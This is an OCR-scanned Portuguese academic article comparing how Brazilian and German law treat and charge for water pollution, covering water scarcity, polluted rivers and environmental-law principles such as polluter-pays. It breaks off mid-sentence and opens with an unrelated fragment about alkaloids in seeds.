No presente trabalho, verificou-se que nas sementes de D. violacea foi caracterizada/a
presenca de alcaldides como seu produto majoritario. Estudos posteriores serao realizadog no

intuito de verificar a sua ac&o sobre o sistema nervoso central em ratos.
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0 presente artigo apresenta uma discussao sobre a escassez da dgua em termos qualitativos e quantitativos,
apontando a poluicdo como uma das principais causas que interferem na sua qualidade. Na sequéncia é reali-
zado um estudo comparativo entre a legislacao brasileira e a alema sobre a cobranca pela poluicdo da dgua nos
dois paises. A metodologia utilizada serd a comparativa, utilizando-se ainda o método dedutivo. 0 enfoque prin-
cipal serd descobrir 0 modo como os dois Estados tratam questao da poluicao da dgua e qual punicao dispensam
30s infratores. Na Alemanha hd a cobranca pela poluicdo da dgua. O valor depende da quantidade de residuos e
do quanto eles causaram de dano. No Brasil, apesar de mais dispositivos sobre o assunto, a cobranca acaba nao
acontecendo. Existem projetos de Educacao Ambiental em algumas instituicdes, porém ainda sao acdes isoladas.
Consequentemente, a consciéncia de que é preciso cuidado também nao é to forte. Na Alemanha existem
projetos de Educacao Ambiental que envolvem a populacdo desde os trés anos de idade. Existe a preocupacao
em formar no cidadao, a consciéncia da importancia da protecdo ambiental. A fiscalizacdo do Poder Publico é
forte, sendo aplicadas multas para o poluidor. Para que a dgua esteja disponivel para as proximas geracdes, é
urgente a implantacao de solugdes apontando alternativas uma vez que a sobrevivéncia de todos depende dela.
Palavras-chave: Meio Ambiente. Aqua. Brasil. Alemanha. Poluico Hidrica.

ABSTRACT

The following article presents a discussion about the lack of water in qualitative and quantitative terms, pointing
out pollution as one of the main things that interfere on its quality. Then, there is a comparative study between
Brazilian and German law (legislation) concerning water pollution charging in both countries. Comparison is the
aplyied methodology, including deduction. The main focus is to find out how do the two countries deal with
water pollution issue and what is the punishment applied to offenders. In Germany there is a charge on water
pollution. The amount depends on the quantity of waste and on how much damage they have caused. In Brazi,
although having more provisions about it, charging ends up not happening. There are projects about Environmen-
tal Education in some institutions but they are still isolated actions. Thereafter, counsciousness that taking care
of water is not strong either. In Germany, there are Environmental Education projects that engage people since
three years old. There is a concern on developing on people a sense about the importance of environmental
saving. Governmental Inspection is strong and fine is applied to the polluter. So that water is available for future
generations , it is urgent deployment of solutions aiming alternatives since the survival of all depends on it.
Keywords: Environment. Water. Brazil. Germany. Hidrouspollution.




INTRODUCAO A questdo ambiental € de suma importancia para a sobrevivéncia de todos os seres
>

vivos. Até pouco tempo acreditava-se que 0s recursos naturais encontrados no meio ambiente

eram infinitos, ou seja, poder-se-ia usa-los de maneira indiscriminada que 0s mesmos se re-

comporiam sem problemas. Hoje € sabido que 0s recursos naturais, em especial a agua, tema

deste trabalho, séo finitos.

Um dos principais problemas que afeta a qualidade da agua € a poluigao e a contami-
nacao. A questao e discutida tanto pela populacao em geral quanto pelas autoridades.

A agua potavel é fundamental para a sobrevivéncia, sem ela o0 ser humano nao sobrevi-
ve. Se forem observados todos os beneficios da agua para a vida de todos os seres, teremos
uma lista enorme. Por essa razao, € primordial que se pense cada vez mais em alternativas

para a preservacao e acesso de todos a este bem indispensavel ndo so6 para a vida dos seres

humanos, mas também de todos 0s seres que vivem no planeta. Atualmente a preservacao da
agua € uma das questdes que mais suscitam preocupacdes a humanidade em geral, civis e
governantes.

Objetiva-se descrever neste trabalho, a crise da agua e os impactos para as geracoes

futuras, examinar os principios ambientais informadores do direito fundamental a agua potavel
no Brasil e na Alemanha, bem como analisar a legislacéo brasileira e alema no tocante a co-
branca pela poluicao dos recursos hidricos, apontando a penalizagao prevista em ambas ds
legislagoes.

Para desenvolver a pesquisa, utilizou-se o nivel de pesquisa descritivo e 0 método
comparativo para descobrir como os dois Paises tratam a questao da poluigao da agua ¢ qual

a punicao dispensada aos infratores.




A ESCASSEZ DE
ECURSOS HIiDRICOS
UM PROBLEMA
GLOBAL

Desde os primordios, a agua sempre foi essencial, uma vez que a sociedade sempre
procurou se estabelecer proximo a rios, usando-os para 0 consumo ou escoamento de produ-
tos para sua sobrevivéncia. Portanto, este bem de valor infinito esta presente na vida de todos
0s seres e tem relacao com todos os aspectos do desenvolvimento social, conforme registram
Fachin e Silva (2012, p. 14). Para os autores, além de ser utilizada para saciar a sede, a agua
também tem importancia econémica, uma vez que e largamente utilizada para a producao de
alimentos, para a irrigacao na agricultura e para o abastecimento animal. Na industria ela € con-
siderada um recurso estratégico, sendo usada em quase todos os procedimentos e fases da
producédo alimenticia, ou seja, “[...] utiliza-se agua, seja para resfriar as maquinas, seja como
matéria prima para o resultado final do processo”. Fachin e Silva (2012, p. 14-15) observam
também que a agua quando usada na irrigacao de lavouras exerce seu papel mais importante
na producao de alimentos, pois mantém vivas as plantas, produz o alimento que servira depois
para consumo humano e de animais. O problema € que muitas vezes a agua usada para irrigar
as lavouras € captada em uma enorme quantidade e em regides onde € escassa.

Boff (2015) sabiamente chama a atencao para o tema quando diz que entre todas as
questdes discutidas atualmente a da agua € a mais importante. Além de vital para a vida ela

pode ainda ser motivo tanto de conflitos quanto de cooperagao entre os povos. Geram conflitos

na medida em que sua escassez e poluicao nao garantem o acesso universal da populacgo
mundial a ela, cooperacao no sentido de estabelecer pactos ao que devem ser cumpridos

garantir 0 acesso, criando lagos entre paises em vista do bem comum. Pela sua importdncia

como “bem natural, vital, insubstituivel e comum”, a ONU em 2010 aprovou uma resolucao




dispondo que “a agua potavel e segura e o saneamento basico constituem um direito humano
essencial” (BOFF, 2015).

Atualmente, 26 paises enfrentam problemas com a falta de agua. Kuwait, Israel, Jorda-
nia, Arabia Saudita, Libia, Iraque, Bélgica, Hungria, México, Estados Unidos, Franca, Espanha
sao alguns exemplos. No Brasil, os problemas de escassez concentram-se basicamente nas
regides nordeste e sudeste. (PAZ; TEODORO; MENDONCA, 2000).

Em termos gerais o continente africano € considerado um dos mais vulneraveis ao pro-
blema da escassez de agua. E quase inacreditavel que um continente que possua tantas ba-
cias compartilhadas enfrente tal situacdo. O motivo maior da escassez hidrica na Africa é a
ma gestao dos recursos e as desigualdades estruturais que acabam sendo agravadas pelas
alteragoes climaticas. Para, pelo menos amenizar tal situagao, faz-se necessaria a aplicacao de
medidas que sejam capazes de conter os impactos do clima, fazendo com que nao sejam tao
graves. A falta de saneamento € outro grande problema africano, assim como o grande cres-
cimento populacional, fator este que faz com que a demanda por agua seja cada vez maior,
enquanto que a oferta se torna mais escassa. (MARTINS, 2011).

Paises como Alemanha, por exemplo, tem tanta preocupacao com este bem precioso

que ja ha programas de protecao ha décadas. Para os alemaes a agua é importante e deve ser

preservada para todos 0s seres vivos - seres humanos, animais e plantas -, pois todos neceg-
sitam dela incondicionalmente para viver.

A falta de acesso a agua pode gerar conflitos armados. Na Siria, por exemplo, tropas
armadas sao utilizadas pelo governo para tornar impossivel aos paises que fazem fronteira o

acesso as fontes de agua. Em outros lugares, como no Egito e Uganda, ha lutas pelo dominio




do rio Nilo, uma vez que as reservas de agua estdo quase zeradas e a maior parte da superficie

¢ deserto. (VICTORINO, 2007).

A Siria ja colocou até tropas na fronteira com a Turquia para impedir que o pais
vizinho utilize suas reservas de agua. Na fronteira de Israel a situacao € semelhan-
te. No Sudeste Asiatico, o Laos esta em conflito com a Tailandia por este querer
represar o Mekong, o que drenaria o Laos. Egito e Uganda lutam pelo rio Nilo, que
é sua fonte de vida, ja que o futuro da agua no territorio egipcio seja quase zero e
onde a superficie, nos dias atuais, se apresenta 97% deserta. Bangladesh, india e
Nepal em conflito pelo rio Ganges e assim por diante, em todo o canto do planeta,
com tendéncia de aumentar. (VICTORINO, 2007, p.21).

Se analisada a fundo a questao, pode-se notar que ndo sao apenas problemas relacio-

nados a vida e a saude que podem ser causados pela falta de agua adequada, mas também

problemas politicos. Existem disparidades enormes na quantidade de agua consumida por cada
habitante nos diferentes pontos do planeta. Enquanto alguns se esbaldam, gastando a vontade,
outros mal tem a quantidade suficiente para suprir suas necessidades basicas. Em alguns luga-

res a falta deste bem precioso ja causa conflitos e a possibilidade dos mesmos se tornarem cada

vez mais comuns ¢ assustador. (MIRANDA, 2004). Em muitos lugares o problema também é a re-

novacgao das reservas, se gasta mais do que as chuvas conseguem repor, como mostra Miranda.

No Oriente Médio, a escassez de agua ja causa instabilidades politicas e a perg-
pectiva de intensificacao de guerras por esse motivo ndo é desprezivel. Na Jorga-
nia, cada habitante tem acesso a cerca de 85 litros de agua por dia, enquan
americanos utilizam 600 litros. Israel, Jordania e os palestinos, juntos, demapdam
juntos, 3,2 bilhdes de metros cubicos de agua, mas a média das chuvas anuais
na regido nao supera 2,5 bilhdes m*. Os 700 milhdes restantes sdo retiraglos de
reservas subterraneas, sem renovacao. (MIRANDA, 2004, p. 29).




Desde o final do século XX, as reservas hidricas em varios pontos do planeta come-
caram a diminuir. Se a populagao mundial nao tomar rapidamente consciéncia do problema,
buscando solugoes efetivas de modo a diminuir drasticamente o desperdicio e a poluicao,
logo todos estarao enfrentando um racionamento sem precedentes. Grande parte da popula-
¢ao ainda utiliza a agua de maneira irracional, como se ela fosse um recurso infinito. As acoes
humanas, que deveriam ser no sentido de preservar ocorrem no sentido contrario, poluindo
e destruindo. Segundo Tundisi e Matsumura-Tundisi (2011), as sociedades poluem tanto as
aguas superficiais quanto as subterraneas, despejando residuos em rios, lagos, represas e
destruindo areas alagadas e matas.

Vive-se em um planeta que € formado essencialmente por agua. Aproximadamente
70% do Planeta Terra é formado por agua. Se levar-se em consideracao somente este dado
pode-se pensar que agua € um bem infinito, que nunca deixara de existir. O problema € que
menos de 3% € agua doce, cuja maior parte esta concentrada nas geleiras polares e neve. O
que sobra para consumo humano € uma porcentagem muito pequena. A agua no Planeta esta
distribuida da seguinte forma: aproximadamente 97,5% esta nos oceanos e mares, ou seja, €
agua salgada, imprépria para o consumo. Dos 2,5% de agua doce 69% concentram-se nas
calotas polares, nas geleiras, 30% sao aguas subterraneas, 0,9% em outros reservatorios como
nuvens, vapor d’agua, compdem a umidade atmosferica e apenas 0,3% estao nos rios e lagos.
(FACHIN; SILVA, 2012).

O Brasil conta com uma fonte enorme de agua - em torno de 13,5% da agua mundial
esta no Brasil -, mas essa ¢ distribuida de forma desigual. Em algumas regides, como Nordeste

e Sudeste tem-se uma grande densidade populacional e pouca agua, o contrario pode ser




3 A DEGRADACAO DOS
RECURSOS HiDRICOS
0 PLANETA E O CON-
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verificado, por exemplo, na regiao Sul. Isso acarreta problemas de distribuicdo, ocorrendo falta
de agua nas regides mencionadas. Como dizem Fachin e Silva (2012, p.14) “Neste cenario a
populacao brasileira vé algumas de suas cidades padecerem por falta de agua, tendo como
causa maior a distribuicao desigual das aguas em seu territorio”.

Dentro do Estado brasileiro regides onde a densidade demografica € menor contam
com mais reservas de agua, enquanto que regides onde a concentragao populacional € maior,
contam com uma quantidade muito menor. E o caso da regido norte do pais, que conta com
as maiores reservas de agua doce e possui menor numero de habitantes, enquanto que no
nordeste, a situagao é inversa, ha maior populagédo e em contrapartida os problemas de abas-
tecimento sao muito maiores, uma vez que a regiao sofre com secas, aridez e suas fontes de

abastecimento sdo em menor nimero. (TAKEDA, 2010).

A crise da agua nao se da apenas pela escassez deste recurso. Sdo inUumeros 0s im-
pactos da atividade humana sobre os ecossistemas aquaticos e que colocam em risco este
bem precioso. Tundisi e Matsumura-Tundisi (2011, p. 64-65) elencam atividades humanas cau-
sadoras de impacto nos recursos hidricos, como: i] construcdes de represas, diques e altera-
¢ao do canal natural do rio que “causam alteracao do fluxo dos rios interferindo na migracao/e
reproducao de peixes, danificando ecologicamente o rio e modificando o seu fluxo”; ii] poluig¢éo
nao controlada que diminui a qualidade da agua; iii] desmatamento do solo que “altera padroes
de drenagem, inibe a recarga natural dos aquiferos, aumenta a sedimentagéo”; iv] pol

de ar (chuva éacida) e metais pesados que “altera a composicao quimica dos rios”; v]




mento populacional e padroes gerais de consumo que “aumenta a pressao por construgcao de
novas hidroelétricas e a poluicao da agua e a acidificacao de lagos e rios, alterando os ciclos
hidrologicos”.

Em muitos locais onde ha disponibilidade de agua o fator poluicao impacta diretamen-
te no acesso a este recurso. Ou seja, nao € s6 a escassez do recurso hidrico que deve ser
observada, mas, principalmente, a qualidade deste recurso disponibilizado para o consumo
humano e de todos os seres vivos. Nesta linha, a “Fundacion Avina”, cujo objetivo € promover
o desenvolvimento sustentavel, denuncia que:

Atualmente 884 milhdes de pessoas no mundo carecem de acesso a agua lim-
pa, o que dificulta a satisfacao de suas necessidades basicas. Essa limitacéo
obriga a populacao a utilizar fontes de agua contaminada, o que causa doencas
que podem ser fatais. Indiretamente também afeta a educacéo das meninas e a
possibilidade das mulheres realizarem outras atividades produtivas e cuidarem
de suas familias, pois frequentemente sdo as meninas e as mulheres que cami-
nham diariamente em meédia seis horas até alguma fonte de agua, geralmente

contaminada, para abastecer suas familias. Assim, o0 acesso limitado a agua po-
tavel também alimenta o circulo vicioso da pobreza (FUNDACION AVINA, 2011 ).

E possivel, portanto, dizer que o problema da degradac&o dos recursos hidricos & um
problema global, pois ele atinge a humanidade, o planeta como um todo. Nao € um problema
exclusivo deste ou daquele Estado, regiao ou continente. Ele esta presente em todos os lu
res. A poluicao €, inegavelmente, um dos principais fatores da crise da agua. O grande obj
desde a Revolucao Industrial € ampliar a producao. Durante muito tempo, pouco se pensou em

preservacao dos recursos hidricos utilizados como insumos na producéao industrial. Sempre se




teve a ideia de que os recursos naturais, em especial a agua, eram inesgotaveis. Além disso,
Nnao se pensou na preservacao no sentido de evitar a poluicao, a degradacao da agua. Produ-
ziu-se muitos dejetos, muito lixo, sem uma preocupacao com o destino destes, que muitas vezes
acabavam dentro dos rios que banham as cidades. A grande questéo € que isso nao € um fato
do passado, pelo contrario, continua acontecendo ainda hoje. A maioria dos rios que banham as
cidades, nao so do Brasil, mas de muitas cidades do mundo, estao poluidos, com lixo e esgoto,
alguns ndo tém nem mais condicdes de abastecer a populagao ( FUNDACION AVINA, 2011).

A agua para consumo humano nas cidades brasileiras provem dos rios que cortam o
Brasil. Na sua maioria atravessam cidades recebendo além do esgoto, que na maioria das ci-
dades nao é tratado, outros tipos de poluentes como restos de industrias, dejetos jogados pela
populacao, agrotéxicos utilizados na agricultura, residuos da producao de animais, petroleo,
entre outros. Esse tipo de atitude € lamentavel, pois aléem de prejudicar a vida pluvial existente
ali, como peixes, algas, vegetacao ribeirinha, poluem a agua que depois sera utilizada por eles
mesmos em suas residéncias.

Estudos recentes revelaram os 10 rios mais poluidos do Brasil. Dentre estes 3 estao
localizados no estado do Rio Grande do Sul. Na lista encontram-se: 1. Rio Tieté: na capital

paulista; 2. Rio Iguagu: cidade de Curitiba, no Parana; 3. Rio Ipojuca: cidade de Recife, em

Pernambuco; 4. Rio dos Sinos: Canoas, proximo a capital gaucha; 5. Rio Gravatai: Canoas/e
Porto Alegre, no Rio Grande do Sul; 6. Rio das Velhas: Belo Horizonte, em Minas Gerais; 7.
Capibaribe: na capital Pernambucana; 8. Rio Cai: desde Porto Alegre até os municipi
Caxias do Sul e Farroupilha; 9. Paraiba do Sul: abrange os estados do RJ, MG e SP, o tfecho

mais poluido fica proximo a Companhia Siderurgica Nacional; 10. Rio Doce: Espirito Santo e




Minas Gerais. Neste estudo foram levados em consideracao nas amostras coletadas tempera-
tura, espumas, peixes e lixo. Como parametros de nota foram considerados: péssimo (de 14 a
20 pontos); ruim (de 21 a 26 pontos); regular (de 27 a 35 pontos); bom (de 36 a 40 pontos) e
otimo (acima de 40 pontos) (PENSAMENTO VERDE, 2013).

Se a questao dos rios for analisada em termos mundiais, tem-se 5 rios que figuram entre
0s mais poluidos: rio Tieté, em Sao Paulo; Bacia do Riachuelo, na Argentina; rio Karachay, na
Russia; rio Yamuna e rio Ganges, na India. O rio Karachay foi usado de 1951 a 1953 como local
de descarte de lixo radioativo. Se uma pessoa entrar em contato com a agua deste rio, pode
vir a 6bito em apenas uma hora, tamanho grau de poluicdo que ele possui (PENSAMENTO
VERDE, 2014).

Quando um pais apresenta menos de mil metros cubicos de agua por habitante anual-
mente, diz-se que o mesmo enfrenta uma crise de agua grave. Abaixo disso, saude e desenvol-
vimento econdmico sao afetados gravemente. Caso o volume anual de agua por habitante seja
inferior a quinhentos metros cubicos, a sobrevivéncia desse povo € comprometida de forma
drastica. Desde 1970, a provisao de agua no mundo diminuiu trinta e trés por cento por pessoa.
Este fator € resultado do aumento populacional e do uso irracional deste recurso. A escassez

também ¢ produto da ganancia, de tecnologias negligentes e do fato de se retirar mais agua

da natureza do que € reposto e limpo. (SHIVA, 2006).

O consumo desenfreado esta esgotando os recursos naturais como um todo, em /es-
pecial a agua, colocando em risco o futuro. Com essa atitude os oceanos e a atmosfera gstao
sendo envenenados por CO2, fazendo com que determinadas espécies adoegam e até mesmo

desaparecam, diminuindo reservas de agua. (MILARE, 2013)




O relatorio Mundial das Nagdes sobre o Desenvolvimento dos Recursos Hidricos
(WWDR4), lancado em 2014, prevé como consequéncia da diminuigdo do acesso a agua o
aumento das diferengas econdmicas entre os paises. O documento ainda chama a atencgao
para o fato de que 0s mais pobres serdo os mais prejudicados. Em outras palavras, por conta
da escassez hidrica todos os setores da sociedade serao prejudicados, aumentando ainda
mais as diferencas sociais ja existentes e fazendo com os mais necessitados, além de serem
0s mais prejudicados, passem cada vez mais necessidade. (BRASIL, 2014)

O problema da escassez hidrica € uma realidade preocupante e tem relacao direta com
0 aumento de consumo, usos multiplos e aguas contaminadas improprias para consumo huma-
no. Segundo relatdrio da ONU, atualmente 2 bilhdes de pessoas ja sofrem com a escassez e
ate 2025 este numero pode dobrar. Ao analisar os ultimos 100 anos percebe-se que o consumo
de agua aumentou seis vezes, o que significa que cresceu duas vezes mais do que o0 cresci-
mento demografico. A principal responsavel pelo aumento do consumo € 0 uso na agricultura.
A escassez hidrica afeta radicalmente a qualidade de vida. Segundo dados o problema da es-
cassez pode se agravar de tal modo que nos proximos anos duas em cada trés pessoas vivam
numa situacao grave de falta de agua. A previséo é de que até 2050 os habitantes do planeta
que nascerao nao terao acesso a agua de qualidade, o que com certeza, comprometera a vida
e saude destes. (DECICINO, 2007)

A qualidade da agua consumida, bem como sua quantidade, influi muito na vida dg/to-
das as pessoas, em especial das mais pobres, em fungao de sua vulnerabilidade relaciongda a
salde e todo tipo de crise. Afetam também o meio ambiente e a capacidade dos ecossistemas

e aumentam a possibilidade de desastres ambientais. E preocupante a falta de medidas de




4 0S PRINCIPIOS
AMBIENTAIS
INFORMADORES DO
EITO FUNDAMENTAL
UA POTAVEL

tratamento de esgoto que acabam poluindo rios, lagos, mananciais, assim como a utilizagcao
irracional e contaminacao dos lencois freaticos. As aguas superficiais sao contaminadas por
agrotoxicos e exploradas ao extremo. O estoque de agua doce é prejudicado e diminuido com
a poluicao oriunda de dejetos humanos, lixo, venenos. Tudo isso aumenta ainda mais a escas-
sez e ameagca o fornecimento de agua potavel em muitos lugares. (CASTRO; SCARIOT, 2005)

Lemos (2010, p. 167) enfatiza que a solucdo para os problemas ambientais ndo deve
vir somente dos governantes, mas também da populacao em geral. Somente com a unido de
todos, governantes e sociedade é que sera possivel encontrar soluctes efetivas no sentido de
protecdo do meio ambiente. E preciso dar maior importancia & educacdo ambiental, pois ela
€ 0 caminho para buscar a conscientizagdo da sociedade para a importancia dos recursos

naturais e, mais ainda, para sua preservagao.

O Direito Ambiental no Brasil conta com uma gama enorme de principios informadores,
entre eles pode-se citar o principio da prevencao, da precaucao, do poluidor-pagador, da in-
formacao, da cooperacao, da equidade intergeracional, do protetor-recebedor, do usuario-pa-
gador, do acesso ao meio ambiente sadio e equilibrado. Para os limites desta pesquisa seréao
analisados os principios do desenvolvimento sustentavel, poluidor-pagador e usuario-pagad
uma vez que a poluigao € tema desta pesquisa.

O principio do desenvolvimento sustentavel procura harmonizar desenvolvimento feco-
némico-social e preservagdo do meio ambiente. Sendo assim, para que seja possivel alcancar

o desenvolvimento sustentavel é preciso fazer com que a protecao do meio ambiente seja




cada vez mais efetiva, devendo esta ser considerada parte integrante do processo de desen-
volvimento e ndo um elemento a parte. Chiuvite (2010, p.34) assevera que no relatdrio “Nosso
Futuro Comum”, datado de 1987, o conceito mais tradicional de desenvolvimento sustenta-
vel foi apresentado: “desenvolvimento sustentavel € aquele que atende as necessidades do
presente sem comprometer a possibilidade de as geracoes futuras atenderem suas proprias
necessidades”.

O objetivo deste principio ndo €, de modo algum, obstar o crescimento econdmico, mas
sim busca fazer com que as atividades produtivas sejam desenvolvidas plenamente, langcando
méao de todos 0s meios disponiveis, mas com a menor degradacao possivel. Na pratica, deve
ser utilizado com o implemento de recursos como instalagao de filtros em chaminés de indus-
trias, utilizacao racional da agua, correta acomodacao de residuos solidos. (CHIUVITE, 2010)

A falta de agua é um fator de limitagao a evolucao, pois o modelo de desenvolvimento
baseado na exploragao sem limites dos recursos naturais esta esgotado. Infelizmente o desen-
volvimento econémico nos dias de hoje diverge da ideia de conservacéo do meio ambiente. E
preciso que o0 planejamento e as decisoes relativas ao desenvolvimento sustentavel integrem
as consideracdes ambientais e os fatores sociais € econdémicos. Como ja indicado, atualmente
ha uma utilizagao inadequada dos recursos naturais, desdenhando-os em qualidade e quanti-

dade. (PAZ, TEODORO, MENDONGA, 2000)

O principio do poluidor-pagador determina que todo aquele que polui tem o dever/de
reparar o dano que causou. Na linha repressiva, uma vez ocorrido o dano, o poluidor serd res-

ponsavel pela reparacao devendo restituir a situagao ao status quo, compensando o dano em




peclnia, deve arcar com os custos do prejuizo causado. E importante lembrar que este princi-
pio diz respeito também as medidas de prevencao e luta contra a poluicao (CHIUVITE, 2010).
Na Carta Magna, vem positivado no artigo 225, §3°, que reza que em caso de condutas

lesivas, os infratores, pessoas fisicas ou juridicas, sofrerao sancoes penais ou administrativas,

independente da obrigagado de reparar o dano causado (BRASIL, 1988).

Largamente usado como fundamento para decisdes no STJ, justificando a adocao da
teoria do risco integral no dano ambiental e a reparagao integral do mesmo, o principio do po-
luidor-pagador € aliado no fortalecimento do regime de responsabilidade civil, como colocado

por Sarlet e Fensterseifer:

Na jurisprudéncia, o principio do poluidor-pagador tem sido um grande aliado
no sentido de reforcar o regime da responsabilidade civil em matéria ambiental,
extraindo eficacia normativa do principio em questao. Nao por outra razéo, o
principio € comumente empregado como fundamento sobretudo na jurispru-
déncia do STJ, para justificar, por exemplo, a ado¢ao da teoria do risco integral
para a hipotese de dano ambiental e, portanto, rejeicao das excludentes de
ilicitude. (SARLET; FENSTERSEIFER, 2014, p. 87)

Outro principio importante € o do usuario-pagador. O principio do usuario-pagador
busca suscitar no cidadao a consciéncia da finitude dos recursos naturais, usando-os de forma
adequada e consciente. Além disso, objetiva a ampliacao do uso de tecnologias considerad
limpas, nao s6 no contexto de produtos como também de servicos de consumo e a exigé
de certificacdo ambiental de produtos e servigos. (SARLET; FENSTERSEIFER, 2014)

No ordenamento alemao encontram-se dispostos somente trés principios, conh

como Deutsch Umweltrecht Grundsétze, quais sejam, Vorsorgeprinzip(principio da precaficao),




Verursacherprinzip (principio do poluidor-pagador) e Kooperationsprinzip (principio da coope-
ragéo) (HUPFFER; WACLAWOVSKY; GREENFIELD, 2013, p. 156)A origem destes principios
encontram-se no Programa Ambiental, o Umvweltprogramm, datado de 1971, e o Relatorio Am-
biental (Umweltbericht), de 1976, ambos do governo alemao. Os mesmos também podem ser
encontrados no artigo 34 do Contrato de Unificagao, celebrado na época pela Republica Federal
da Alemanha e a extinta Republica Democratica da Alemanha, a DDR. (DIREITO ALEMAO, 2013)
De acordo com estes principios € importante ter em mente trés questdes quando o as-
sunto € meio ambiente: o que deve ser feito e como e quem arca com os custos do processo.
Asrespostas para tais questoes sao simples. O que deve ser feito € o maximo de diminuicao
possivel dos riscos e danos ao meio ambiente, através de uma colaboracao efetiva entre Es-
tado e sociedade e quem deve arcar com estes custos deve ser quem polui. (FABRO, 2013).
Segundo o Vorsorgeprinzip, também chamado de principio da prevencao, todo e qual-
quer risco que possa produzir danos ambientais deve ser evitado. A exploracao do meio am-
biente nao é proibida, no entanto deve ocorrer da forma menos danosa possivel, ou seja,
0S recursos naturais podem ser explorados e usados pela humanidade, porem de maneira
responsavel, de modo que nao sejam esgotados. Usar de forma responsavel para que nao
falte. O referido principio foi incorporado pela Bundes-Immissionsschutzgesetz, Lei Nacional
de Controle de Emissoes também pela Wasserhaushaltsgesetz, Lei de Recursos Hidricos. Esfe
€ o principio de maior importancia quando o assunto é protecao ambiental. (FABRO, 2013).
A principal ideia do principio poluidor-pagador, o Verursacherprinzip, € de que o meio
ambiente ndo é um bem infinito, que pode ser usado livremente sem nenhuma preocupacao

com o futuro e sua manutencéao e sem sangao aqueles que cometerem delitos. “Todo dquele




que, atraves de seu comportamento, der causa aos riscos, perigos, poluicoes e danos ambien-
tais, deve responsabilizar-se por estes”. (DIREITO ALEMAO, 2013).

A aplicacao deste principio, mesmo em territério alemao, nao é facil. Em muitos casos é
dificil identificar o autor do dano, uma vez que este pode também ser produzido pela coletivida-
de. Pode ainda, causar efeitos negativos no setor de empregos, ja que os custos das medidas
de protecao ambiental para as empresas sao elevados. Tambéem exige uma vigilancia constan-
te por parte das autoridades publicas. Apesar do exposto, esse principio € considerado a dire-
triz quando se fala em politica ambiental, nao sé na Alemanha, mas na Comunidade Europeia.

Na aplicagéo , no entanto , os problemas surgem: muitas vezes néo € possivel
identificar o poluidor, uma vez que muitos impactos ambientais sao causados
por uma interacao de multiplas causas. Através da natureza global dos encar-
gos ambientais poluidores muitas vezes nao sédo legalmente processaveis. O
principio do poluidor pagador pode ter efeitos adversos, tais como um impacto
negativo sobre o emprego quando os custos das empresas s&o de alta por cau-
sa da protegao ambiental. A sua aplicagao requer um alto nivel de supervisdo
por parte das autoridades. Apesar desses problemas, € o principio do poluidor

pagador diretriz da politica ambiental na Comunidade Europeia. (Traduziu-se)
(DIE PRINZIPIEN).

Por fim, o terceiro principio do Direito Ambiental Alem&o, o Kooperationsprinzip(prin-
cipio da cooperagéo), visa a unido de sociedade e Poder Publico no sentido de buscar altey-
nativas para evitar que danos ambientais ocorram. No territorio alemao, as leis exigem que/as
empresas, de acordo com seu porte e atividade, devem escolher uma pessoa que seja respon-
savel pelo meio ambiente (Beauftragter). Segundo a Lei de Recursos Hidricos empresas que

lancam mais de 750 m?® diarios de residuos devem nomear um Gewdsserschutzbeauffragte,
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alguém que proteja as aguas. Ja de acordo com a Lei de Controle de Emissoes, para algumas
atividades, deve ser escolhido um Immissionsschutzbeauftragter que devera controlar a emis-
s&o de poluentes. (DIREITO ALEMAQ, 2013).

Ha algum tempo a preservacao do meio ambiente vém se tornando uma preocupacao
social. Até pouco tempo, pensava-se que 0s recursos que ele fornecia eram infinitos, podiam
ser usados a vontade que naturalmente seriam repostos pelo proprio ambiente. Hoje, sabe-se
que esta ideia é falsa, que os recursos sdo sim finitos e que se ndo forem tomadas atitudes
sérias e efetivas as geracoes futuras correm o risco de nao usufruir do meio ambiente e seus
recursos. Sao necessarias atitudes conjuntas entre Poder Publico e sociedade, para que se
possa ter uma qualidade de vida melhor, além, de como ja foi dito, preservar este bem tao

importante que é o ambiente que nos cerca.

A Organizagdo Mundial da Saude, em 1961, definiu como agua poluida aquela cuja
composicao ou estado estejam alterados de modo a nao apresentarem mais condigdes para
as utilizacdes a que estava destinada (PELLACAN, 2012).

A poluicéo das aguas, tanto a provocada pelas pessoas fisicas quanto pelas industrias,
€ um problema de grandes proporcoes atualmente. A poluicao hidrica pode ocorrer de div
sas maneiras, provocada pelas pessoas fisicas ou pelas industrias, “desde o uso intensivg/de
substancias quimicas na agroindustria até o despejamento de residuos de 6leo, gas e projetos
de mineragao, as grandes atividades comerciais estao poluindo sistemas de agua naturgis em

uma escala macica”(BARLOW, CLARKE, 2003, p. 231).




A carga de poluentes € emitida de acordo com o tipo de produto fabricado e a quanti-
dade do mesmo, bem como o processo e matéria-prima utilizada. Se a carga poluente ¢ alta,
quer dizer que a industria € potencialmente perigosa para o meio ambiente e deve receber
mais atencao, principalmente por parte dos 6rgaos ambientais. (MENDES, 2004)

No Brasil, a Lei 6.938, de 31 de agosto de 1981, Lei da Politica Nacional do Meio
Ambiente, em seu artigo 3°, define poluicao como toda degradagao ambiental que resulte de
atividades que de alguma forma, direta ou indiretamente, prejudiquem a salde, a seguranga e
0 bem-estar populacional, bem como criem condi¢coes improprias para as atividades sociais e
econdmicas, afetem as condicoes sanitarias ou estéticas do meio ambiente ou lancem matérias
ou energia em desacordo com padrdes ambientais. O mesmo diploma legal conceitua poluidor
como “a pessoa fisica ou juridica, de direito publico ou privado, responsavel, direta ou indireta-
mente, por atividade causadora de degradacao ambiental” (BRASIL, 1981).

Degradacao e poluigao da agua nao sao sindbnimos. A degradagao de recursos hidricos
“€ a alteracao de seus atributos” e resulta “tanto da acao humana como de eventos naturais,
como grandes tempestades, incéndios, terremotos, etc.”. Ja a poluicao “é a degradacao cau-
sada estritamente pela agao humana”. Como fonte de poluigao hidrica tem-se a poluicéo pon-
tual, ou seja, a poluicao que pode ser localizada pontualmente, como a poluigao resultante do
langcamento de efluentes industriais e esgoto. A poluicao pontual “pode ser tratada localment:
A outra fonte de poluicao € a denominada nao-pontual ou difusa. Esta poluicao é “associada
a atividades do uso da terra, tais como urbanizacao, agricultura, pastagem, reflorestamgnto,
essa poluigédo atinge os cursos de aguas (rios, lagos, estuarios), principalmente pelo

mento das aguas pluviais”. (SIMOES, 2004).




Os principais poluentes da agua s&o: o 6leo de cozinha (um litro pode contaminar até
1 milhao de litros de agua), esgoto domeéstico, fertilizantes quimicos (aumentam a quantidade
de enxofre, cobre e magnésio que causam o aumento microrganismos prejudiciais a saude),
residuos soélidos, chorume, lixo nuclear, metais pesados (responsaveis pelo aparecimento de
tumores), poluicao térmica, petroleo, chuva acida. (SALVEMOS O PLANETA,2013)

A lei maior do Brasil, a Constituicao Federal de 1988, nao traz em seu texto a agua como
